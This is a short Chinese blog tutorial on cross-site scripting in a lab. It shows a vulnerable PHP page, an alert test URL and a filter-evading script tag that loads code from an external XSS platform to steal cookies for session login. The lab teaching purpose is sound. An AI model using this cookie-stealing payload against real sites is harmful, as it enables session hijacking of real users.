web渗透【7】XSS跨站实例操作(2)

1、(1)反射XSS网页源码:

<?php

require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
    header("Location:../login.php");
}
setcookie("flag", "", time() - 1);
if (isset($_GET["id"])) {
    if (!empty($_GET["id"])) {
        if (strstr($_GET['id'], 'alert')){
            $sql = "SELECT * FROM env_list WHERE id = 9";
            $res = $dbConnect->query($sql);
            $row = mysqli_fetch_assoc($res);
            setcookie("flag", $row['envFlag']);
        }
    }
}
require_once TPMELATE."/xss_1.html";
?>

(2)XSS测试:

http://192.168.153.128/control/xss/xss_1.php?id=1%3Cscript%3Ealert%281%29%3C/script%3E

 (3)xss后台配置:(本人用的后台:https://xsshs.cn)

(4)利用XSS:

192.168.153.128/control/xss/xss_1.php?id=1<sCRiPt sRC=https://xsshs.cn/wPGg></sCrIpT> 

(5)、在后台可以获取cookie,直接利用cookie登陆:

(2)存储XSS:

提交后,会自动存在数据库,访问网页直接执行 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值